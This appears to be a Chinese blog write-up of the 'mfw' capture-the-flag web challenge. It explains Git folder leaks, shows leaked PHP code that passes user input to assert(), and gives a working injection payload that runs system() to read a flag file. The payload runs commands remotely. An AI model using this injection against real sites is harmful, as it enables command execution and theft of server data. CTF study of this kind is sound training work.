mfw 攻防世界web题（Git泄露）

ゝ一纸荒年。 2023-10-02 13:42 20阅读 0赞

当前大量开发人员使用git进行版本控制，对站点自动部署。如果配置不当，可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。

危害  
攻击者可以利用该漏洞下载git文件夹里的所有内容。如果文件夹内有敏感信息比如站点源码、数据库账户密码等，攻击者可能直接控制服务器。

#    mfw #

1)点开，没发现什么有用的

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16][]

2）继续

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 1][]

3）发现有Git，可能是Git泄露，直接/.git

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 2][]

4）一个个点看看，在index中，ps打开

<?php
    
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
           //以get方式获得一个page变量，如果没有，则设置为home
               
    $file = "templates/" . $page . ".php";
    	//将page变量拼接成一个templates下的php文件，设置为变量file
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
            //判断file中是否有" .. "，如果有则直接退出
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!")
    
    ?>

5） 其中assert()函数会将括号中的字符当成代码来执行，并返回true或false，strpos()函数会返回字符串第一次出现的位置，如果没有找到则返回False

6）于是重心就放在file变量中，发现file变量是用我们输入的page变量拼接而成的，而且没有任何的过滤，我们可以在这段输入的字符中插入system函数来执行系统命令

$file = "templates/" . $page . ".php";
    
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

7）注意到调用file时用的单引号和括号来限制file的范围  
于是可以构造url为

page=a ') or system("cat templates/flag.php");//

8）因为在strpos中只传入了a，所以其肯定返回false，在利用or让其执行system函数，再用" // "将后面的语句注释掉

9）回车，查看源码

![watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 3][]

##  ##

--------------------

#  #

[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16]: https://img-blog.csdnimg.cn/23ffde26fd8a4d03b2e28c7094d1c786.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 1]: https://img-blog.csdnimg.cn/b749805baa114840b6e46aa50e7245ae.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 2]: https://img-blog.csdnimg.cn/b1ef2810fbf74d37a4eb782e1eadf6ee.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16
[watermark_type_ZHJvaWRzYW5zZmFsbGJhY2s_shadow_50_text_Q1NETiBAbTBfNTU3OTM3NTk_size_20_color_FFFFFF_t_70_g_se_x_16 3]: https://img-blog.csdnimg.cn/767b20d3f9504b03a5bae399074fb8a4.jpg?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBAbTBfNTU3OTM3NTk=,size_20,color_FFFFFF,t_70,g_se,x_16